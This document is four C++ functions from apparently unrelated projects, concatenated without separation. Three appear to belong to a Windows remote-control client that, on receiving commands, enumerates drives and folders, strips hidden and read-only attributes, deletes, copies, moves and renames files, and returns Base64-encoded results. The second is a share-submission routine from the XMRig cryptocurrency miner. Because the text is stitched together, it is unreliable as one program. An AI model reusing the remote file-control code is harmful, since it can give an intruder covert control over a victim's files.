void Enum_Drectory(void *cmd) { Json::FastWriter fast_writer; Json::Value root; string Base64Result; cmdinfo *pci=(cmdinfo*)cmd; if (pci->cmd_content.compare("/")==0) { string utf8_drive; //Msg("获取驱动器\r\n"); GetDirverInfo(&root); ANSIToUTF8(fast_writer.write(root).c_str(),&utf8_drive); Base64Encode(reinterpret_cast<const unsigned char*>(utf8_drive.c_str()),utf8_drive.length(),Base64Result); Replace_plus(Base64Result); SubmitResult(pci,Base64Result.c_str()); Base64Result.erase(); utf8_drive.erase(); root.clear(); } else { //Msg("获取文件夹列表\r\n"); Enum_Current_Drectory((char *)pci->cmd_content.c_str(),&root); Base64Encode(reinterpret_cast<const unsigned char*>(fast_writer.write(root).c_str()),fast_writer.write(root).length(),Base64Result); Replace_plus(Base64Result); SubmitResult(pci,Base64Result.c_str()); Base64Result.erase(); root.clear(); } }
int64_t Client::submit(const JobResult &result) { # ifdef XMRIG_PROXY_PROJECT const char *nonce = result.nonce; const char *data = result.result; # else char nonce[9]; char data[65]; Job::toHex(reinterpret_cast<const unsigned char*>(&result.nonce), 4, nonce); nonce[8] = '\0'; Job::toHex(result.result, 32, data); data[64] = '\0'; # endif const size_t size = snprintf(m_sendBuf, sizeof(m_sendBuf), "{\"id\":%" PRIu64 ",\"jsonrpc\":\"2.0\",\"method\":\"submit\",\"params\":{\"id\":\"%s\",\"job_id\":\"%s\",\"nonce\":\"%s\",\"result\":\"%s\"}}\n", m_sequence, m_rpcId.data(), result.jobId.data(), nonce, data); # ifdef XMRIG_PROXY_PROJECT m_results[m_sequence] = SubmitResult(m_sequence, result.diff, result.actualDiff(), result.id); # else m_results[m_sequence] = SubmitResult(m_sequence, result.diff, result.actualDiff()); # endif return send(size); }
void Enum_All_File_in_Drectory(void *cmd) { Json::FastWriter fast_writer; Json::Value dir; Json::Value file; string Base64Result; cmdinfo *pci=(cmdinfo*)cmd; CHAR szFilePath[MAX_PATH]; CHAR szFullPath[MAX_PATH]; WIN32_FIND_DATA FindFileData; HANDLE hListFile; string szPath; string utf8_FullPath,utf8_FileName; //file["title"]=Json::Value("Dir1"); //file["path"]=Json::Value("C:\\Dir1"); //file["icon"]=Json::Value("dir.png"); //file["name"]=Json::Value("Dir1"); UTF8ToANSI((char *)pci->cmd_content.c_str(),&szPath); if (szPath.c_str()[szPath.length()-1]!='\\') { sprintf_s(szFilePath,"%s\\*",szPath.c_str()); } else { sprintf_s(szFilePath,"%s*",szPath.c_str()); } hListFile = FindFirstFile(szFilePath,&FindFileData); if(hListFile==INVALID_HANDLE_VALUE) { Msg("开始遍历文件时出错:%d\r\n",GetLastError()); } else { do { if(lstrcmp(FindFileData.cFileName,TEXT("."))==0|| lstrcmp(FindFileData.cFileName,TEXT(".."))==0) { continue; } if (szPath.c_str()[szPath.length()-1]!='\\') { sprintf_s(szFullPath,"%s\\%s",szPath.c_str(),FindFileData.cFileName); } else { sprintf_s(szFullPath,"%s%s",szPath.c_str(),FindFileData.cFileName); } dwTotalFileNum++; utf8_FileName.erase(); ANSIToUTF8(FindFileData.cFileName,&utf8_FileName); file["title"]=Json::Value(utf8_FileName.c_str()); file["name"]=Json::Value(utf8_FileName.c_str()); if(FindFileData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY) { // Msg("<DIR>"); file["icon"]=Json::Value("grid_dir.png"); } else { file["icon"]=Json::Value("file.png"); } dir["dir"].append(file); } while(FindNextFile(hListFile, &FindFileData)); FindClose(hListFile); } szPath.erase(); utf8_FileName.erase(); Base64Encode(reinterpret_cast<const unsigned char*>((char *)fast_writer.write(dir).c_str()),fast_writer.write(dir).length(),Base64Result); Replace_plus(Base64Result); SubmitResult(pci,Base64Result.c_str()); Base64Result.erase(); dir.clear(); }
void FileOperate(void * cmd) { cmdinfo *pci=(cmdinfo*)cmd; Json::Value json_cmd_content; Json::Reader reader; Json::FastWriter fast_writer; string Result,Base64Result; if (reader.parse(pci->cmd_content.c_str(), json_cmd_content)) { string operate=fast_writer.write(json_cmd_content["operate"]); if (operate.find("rename")!=string::npos) { string oldName,newName; PathDecode(json_cmd_content["oldName"].asString(),oldName); PathDecode(json_cmd_content["newName"].asString(),newName); //Msg("操作:重命名\r\n"); //Msg("原名称:%s\r\n",oldName.c_str()); //Msg("新名称:%s\r\n",newName.c_str()); if(!MoveFile(oldName.c_str(),newName.c_str())) { LPSTR lpBuffer=NULL; FormatMessage ( FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_IGNORE_INSERTS|FORMAT_MESSAGE_FROM_SYSTEM, NULL,GetLastError(),LANG_NEUTRAL,(LPTSTR) & lpBuffer,0 ,NULL); if(lpBuffer==NULL) { ANSIToUTF8("Rename File Error.",&Result); } Result+=lpBuffer; LocalFree (lpBuffer); } else { ANSIToUTF8("Complete",&Result); } } if (operate.find("newdir")!=string::npos) { string newDirPath; PathDecode(json_cmd_content["newDirPath"].asString(),newDirPath); // Msg("操作:新建文件夹:%s\r\n",newDirPath.c_str()); if (!CreateDirectory(newDirPath.c_str(), NULL)) { LPSTR lpBuffer=NULL; FormatMessage ( FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_IGNORE_INSERTS|FORMAT_MESSAGE_FROM_SYSTEM, NULL,GetLastError(),LANG_NEUTRAL,(LPTSTR) & lpBuffer,0 ,NULL); if(lpBuffer==NULL) { ANSIToUTF8("Rename File Error.",&Result); } Result+=lpBuffer; LocalFree (lpBuffer); } else { ANSIToUTF8("Complete",&Result); } } if (operate.find("delete")!=string::npos) { Json::Value filelist,dirlist; filelist=json_cmd_content["filelist"]; dirlist=json_cmd_content["dirlist"]; int iSize = filelist.size(); string temp; for (int nIndex=0;nIndex<iSize;++nIndex ) { temp.erase(); PathDecode(filelist[nIndex]["file"].asString(),temp); // Msg("文件:%s\r\n",temp.c_str()); DelFileHiddenAndReadonly(temp.c_str()); if (!DeleteFile(temp.c_str())) { LPSTR lpBuffer=NULL; FormatMessage ( FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_IGNORE_INSERTS|FORMAT_MESSAGE_FROM_SYSTEM, NULL,GetLastError(),LANG_NEUTRAL,(LPTSTR) & lpBuffer,0 ,NULL); if(lpBuffer==NULL) { Result=Result+"删除文件\""+temp.c_str()+"\"时出错,原因:未知.\n"; } Result=Result+"删除文件\""+temp.c_str()+"\"时出错,原因:"+lpBuffer; LocalFree (lpBuffer); } else { Result=Result+"删除文件\""+temp.c_str()+"\"完成\n"; } } iSize=dirlist.size(); for (int nIndex=0;nIndex<iSize;++nIndex ) { temp.erase(); PathDecode(dirlist[nIndex]["dir"].asString(),temp); // Msg("目录:%s\r\n",temp.c_str()); if (Delete_Drectory(temp.c_str())) { Result=Result+"删除目录\""+temp.c_str()+"\"完成\n"; } else { Result=Result+"删除目录\""+temp.c_str()+"\"失败\n"; } } } if (operate.find("Copy")!=string::npos) { string temp_src,temp_dest; Json::Value src,dest; src=json_cmd_content["Source"]; dest=json_cmd_content["Destination"]; int iSize = src.size(); if (iSize!=dest.size()) { Result+="Json Error"; } for (int nIndex=0;nIndex<iSize;++nIndex ) { temp_src.erase(); temp_dest.erase(); PathDecode(src[nIndex]["src"].asString(),temp_src); PathDecode(dest[nIndex]["dest"].asString(),temp_dest); // Msg("从\"%s\"到\"%s\"\r\n",temp_src.c_str(),temp_dest.c_str()); DelFileHiddenAndReadonly(temp_src.c_str()); if(!CopyFile(temp_src.c_str(),temp_dest.c_str(),FALSE)) { LPSTR lpBuffer=NULL; FormatMessage ( FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_IGNORE_INSERTS|FORMAT_MESSAGE_FROM_SYSTEM, NULL,GetLastError(),LANG_NEUTRAL,(LPTSTR) & lpBuffer,0 ,NULL); if(lpBuffer==NULL) { Result=Result+"复制文件\""+temp_src.c_str()+"\"时出错,原因:未知.\n"; } Result=Result+"复制文件\""+temp_src.c_str()+"\"时出错,原因:"+lpBuffer; LocalFree (lpBuffer); } else { Result=Result+"复制文件\""+temp_src.c_str()+"\"完成\n"; } } } if (operate.find("Cut")!=string::npos) { string temp_src,temp_dest; Json::Value src,dest; src=json_cmd_content["Source"]; dest=json_cmd_content["Destination"]; int iSize = src.size(); if (iSize!=dest.size()) { Result+="Json Error"; } for (int nIndex=0;nIndex<iSize;++nIndex ) { temp_src.erase(); temp_dest.erase(); PathDecode(src[nIndex]["src"].asString(),temp_src); PathDecode(dest[nIndex]["dest"].asString(),temp_dest); // Msg("从\"%s\"到\"%s\"\r\n",temp_src.c_str(),temp_dest.c_str()); DelFileHiddenAndReadonly(temp_src.c_str()); if(!MoveFile(temp_src.c_str(),temp_dest.c_str())) { LPSTR lpBuffer=NULL; FormatMessage ( FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_IGNORE_INSERTS|FORMAT_MESSAGE_FROM_SYSTEM, NULL,GetLastError(),LANG_NEUTRAL,(LPTSTR) & lpBuffer,0 ,NULL); if(lpBuffer==NULL) { Result=Result+"移动文件\""+temp_src.c_str()+"\"时出错,原因:未知.\n"; } Result=Result+"移动文件\""+temp_src.c_str()+"\"时出错,原因:"+lpBuffer; LocalFree (lpBuffer); } else { Result=Result+"移动文件\""+temp_src.c_str()+"\"完成\n"; } } } } else { ANSIToUTF8("Json Format Error",&Result); } Base64Encode(reinterpret_cast<const unsigned char*>(Result.c_str()),Result.length(),Base64Result); Replace_plus(Base64Result); SubmitResult(pci,Base64Result.c_str()); }